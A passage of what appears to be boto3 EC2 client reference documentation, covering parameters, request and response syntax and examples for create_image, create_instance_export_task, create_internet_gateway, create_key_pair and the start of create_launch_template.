termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 :1-16,384 + * io1 and io2 : 4-16,384 + * st1 : 500-16,384 + * sc1 : 500-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + * **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + +* **Description** (_string_) -- A description for the new image. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +* **Name** (_string_) -- + + **[REQUIRED]** + + A name for the new image. + + Constraints: 3-128 alphanumeric characters, parentheses (()), square brackets ([]), spaces ( ), periods (.), slashes (/), dashes (-), single quotes ('), at-signs (@), or underscores(_) + +* **NoReboot** (_boolean_) -- By default, Amazon EC2 attempts to shut down and reboot the instance before creating the image. If the No Reboot option is set, Amazon EC2 doesn't shut down the instance before creating the image. When this option is used, file system integrity on the created image can't be guaranteed. +* **TagSpecifications** (_list_) -- + + The tags to apply to the AMI and snapshots on creation. You can tag the AMI, the snapshots, or both. + + * To tag the AMI, the value for ResourceType must be image . + * To tag the snapshots that are created of the root volume and of other EBS volumes that are attached to the instance, the value for ResourceType must be snapshot . The same tag is applied to all of the snapshots that are created. + + If you specify other values for ResourceType , the request fails. + + To tag an AMI or snapshot after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id104)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id106)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ImageId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ImageId** _(string) --_ + + The ID of the new AMI. + + +**Examples** + +This example creates an AMI from the specified instance and adds an EBS volume with the device name /dev/sdh and an instance store volume with the device name /dev/sdc. + +response = client.create_image( + BlockDeviceMappings=[ + { + 'DeviceName': '/dev/sdh', + 'Ebs': { + 'VolumeSize': '100', + }, + }, + { + 'DeviceName': '/dev/sdc', + 'VirtualName': 'ephemeral1', + }, + ], + Description='An AMI for my server', + InstanceId='i-1234567890abcdef0', + Name='My server', + NoReboot=True, +) + +print(response) + +Expected Output: + +{ + 'ImageId': 'ami-1a2b3c4d', + 'ResponseMetadata': { + '...': '...', + }, +} + +create_instance_export_task(kwargs_) + +Exports a running or stopped instance to an Amazon S3 bucket. + +For information about the supported operating systems, image formats, and known limitations for the types of instances you can export, see [Exporting an Instance as a VM Using VM Import/Export](https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html) in the _VM Import/Export User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateInstanceExportTask) + +**Request Syntax** + +response = client.create_instance_export_task( + Description='string', + ExportToS3Task={ + 'ContainerFormat': 'ova', + 'DiskImageFormat': 'VMDK'|'RAW'|'VHD', + 'S3Bucket': 'string', + 'S3Prefix': 'string' + }, + InstanceId='string', + TargetEnvironment='citrix'|'vmware'|'microsoft', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **Description** (_string_) -- A description for the conversion task or the resource being exported. The maximum length is 255 characters. +* **ExportToS3Task** (_dict_) -- + + **[REQUIRED]** + + The format and location for an instance export task. + + * **ContainerFormat** _(string) --_ + + The container format used to combine disk images with metadata (such as OVF). If absent, only the disk image is exported. + + * **DiskImageFormat** _(string) --_ + + The format for the exported image. + + * **S3Bucket** _(string) --_ + + The Amazon S3 bucket for the destination image. The destination bucket must exist and grant WRITE and READ_ACP permissions to the AWS account vm-import-export@amazon.com . + + * **S3Prefix** _(string) --_ + + The image is written to a single object in the Amazon S3 bucket at the S3 key s3prefix + exportTaskId + '.' + diskImageFormat. + +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +* **TargetEnvironment** (_string_) -- + + **[REQUIRED]** + + The target virtualization environment. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the instance export task during creation. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id109)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id111)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ExportTask': { + 'Description': 'string', + 'ExportTaskId': 'string', + 'ExportToS3Task': { + 'ContainerFormat': 'ova', + 'DiskImageFormat': 'VMDK'|'RAW'|'VHD', + 'S3Bucket': 'string', + 'S3Key': 'string' + }, + 'InstanceExportDetails': { + 'InstanceId': 'string', + 'TargetEnvironment': 'citrix'|'vmware'|'microsoft' + }, + 'State': 'active'|'cancelling'|'cancelled'|'completed', + 'StatusMessage': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **ExportTask** _(dict) --_ + + Information about the instance export task. + + * **Description** _(string) --_ + + A description of the resource being exported. + + * **ExportTaskId** _(string) --_ + + The ID of the export task. + + * **ExportToS3Task** _(dict) --_ + + Information about the export task. + + * **ContainerFormat** _(string) --_ + + The container format used to combine disk images with metadata (such as OVF). If absent, only the disk image is exported. + + * **DiskImageFormat** _(string) --_ + + The format for the exported image. + + * **S3Bucket** _(string) --_ + + The Amazon S3 bucket for the destination image. The destination bucket must exist and grant WRITE and READ_ACP permissions to the AWS account vm-import-export@amazon.com . + + * **S3Key** _(string) --_ + + The encryption key for your S3 bucket. + + * **InstanceExportDetails** _(dict) --_ + + Information about the instance to export. + + * **InstanceId** _(string) --_ + + The ID of the resource being exported. + + * **TargetEnvironment** _(string) --_ + + The target virtualization environment. + + * **State** _(string) --_ + + The state of the export task. + + * **StatusMessage** _(string) --_ + + The status message related to the export task. + + * **Tags** _(list) --_ + + The tags for the export task. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_internet_gateway(kwargs_) + +Creates an internet gateway for use with a VPC. After creating the internet gateway, you attach it to a VPC using AttachInternetGateway . + +For more information about your VPC and internet gateway, see the [Amazon Virtual Private Cloud User Guide](https://docs.aws.amazon.com/vpc/latest/userguide/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateInternetGateway) + +**Request Syntax** + +response = client.create_internet_gateway( + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **TagSpecifications** (_list_) -- + + The tags to assign to the internet gateway. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id114)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id116)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InternetGateway': { + 'Attachments': [ + { + 'State': 'attaching'|'attached'|'detaching'|'detached', + 'VpcId': 'string' + }, + ], + 'InternetGatewayId': 'string', + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **InternetGateway** _(dict) --_ + + Information about the internet gateway. + + * **Attachments** _(list) --_ + + Any VPCs attached to the internet gateway. + + * _(dict) --_ + + Describes the attachment of a VPC to an internet gateway or an egress-only internet gateway. + + * **State** _(string) --_ + + The current state of the attachment. For an internet gateway, the state is available when attached to a VPC; otherwise, this value is not returned. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **InternetGatewayId** _(string) --_ + + The ID of the internet gateway. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the internet gateway. + + * **Tags** _(list) --_ + + Any tags assigned to the internet gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +**Examples** + +This example creates an Internet gateway. + +response = client.create_internet_gateway( +) + +print(response) + +Expected Output: + +{ + 'InternetGateway': { + 'Attachments': [ + ], + 'InternetGatewayId': 'igw-c0a643a9', + 'Tags': [ + ], + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +create_key_pair(kwargs_) + +Creates a 2048-bit RSA key pair with the specified name. Amazon EC2 stores the public key and displays the private key for you to save to a file. The private key is returned as an unencrypted PEM encoded PKCS#1 private key. If a key with the specified name already exists, Amazon EC2 returns an error. + +You can have up to five thousand key pairs per Region. + +The key pair returned to you is available only in the Region in which you create it. If you prefer, you can create your own key pair using a third-party tool and upload it to any Region using ImportKeyPair . + +For more information, see [Key Pairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateKeyPair) + +**Request Syntax** + +response = client.create_key_pair( + KeyName='string', + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **KeyName** (_string_) -- + + **[REQUIRED]** + + A unique name for the key pair. + + Constraints: Up to 255 ASCII characters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **TagSpecifications** (_list_) -- + + The tags to apply to the new key pair. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id119)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id121)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'KeyFingerprint': 'string', + 'KeyMaterial': 'string', + 'KeyName': 'string', + 'KeyPairId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Describes a key pair. + + * **KeyFingerprint** _(string) --_ + + The SHA-1 digest of the DER encoded private key. + + * **KeyMaterial** _(string) --_ + + An unencrypted PEM encoded RSA private key. + + * **KeyName** _(string) --_ + + The name of the key pair. + + * **KeyPairId** _(string) --_ + + The ID of the key pair. + + * **Tags** _(list) --_ + + Any tags applied to the key pair. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +**Examples** + +This example creates a key pair named my-key-pair. + +response = client.create_key_pair( + KeyName='my-key-pair', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +create_launch_template(kwargs_) + +Creates a launch template. A launch template contains the parameters to launch an instance. When you launch an instance using RunInstances , you can specify a launch template instead of providing the launch parameters in the request. For more information, see [Launching an instance from a launch template](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateLaunchTemplate) + +**Request Syntax** + +response = client.create_launch_template( + DryRun=True|False, + ClientToken='string', + LaunchTemplateName='string', + VersionDescription='string', + LaunchTemplateData={ + 'KernelId': 'string', + 'EbsOptimized': True|False, + 'IamInstanceProfile': { + 'Arn': 'string', + 'Name': 'string' + }, + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'Encrypted': True|False, + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'KmsKeyId': 'string', + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'Throughput': 123 + }, + 'NoDevice': 'string' + }, + ], + 'NetworkInterfaces': [ + { + 'AssociateCarrierIpAddress': True|False, + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'InterfaceType': 'string', + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'NetworkCardIndex': 123 + }, + ], + 'ImageId': 'string', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarg